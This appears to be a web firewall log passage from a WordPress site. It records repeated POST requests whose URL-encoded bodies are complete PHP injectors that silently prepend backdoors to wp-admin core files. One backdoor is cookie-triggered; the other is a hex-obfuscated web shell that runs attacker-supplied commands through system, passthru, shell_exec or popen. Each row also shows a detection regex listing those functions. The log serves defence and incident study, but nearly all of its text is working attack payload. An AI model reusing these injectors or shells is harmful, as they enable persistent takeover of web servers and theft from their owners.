0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3239\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\naccept:*\/*\n\nHQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:59","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:7035\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnHVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\niB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:02","77.65.47.245","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:7035\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nvl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A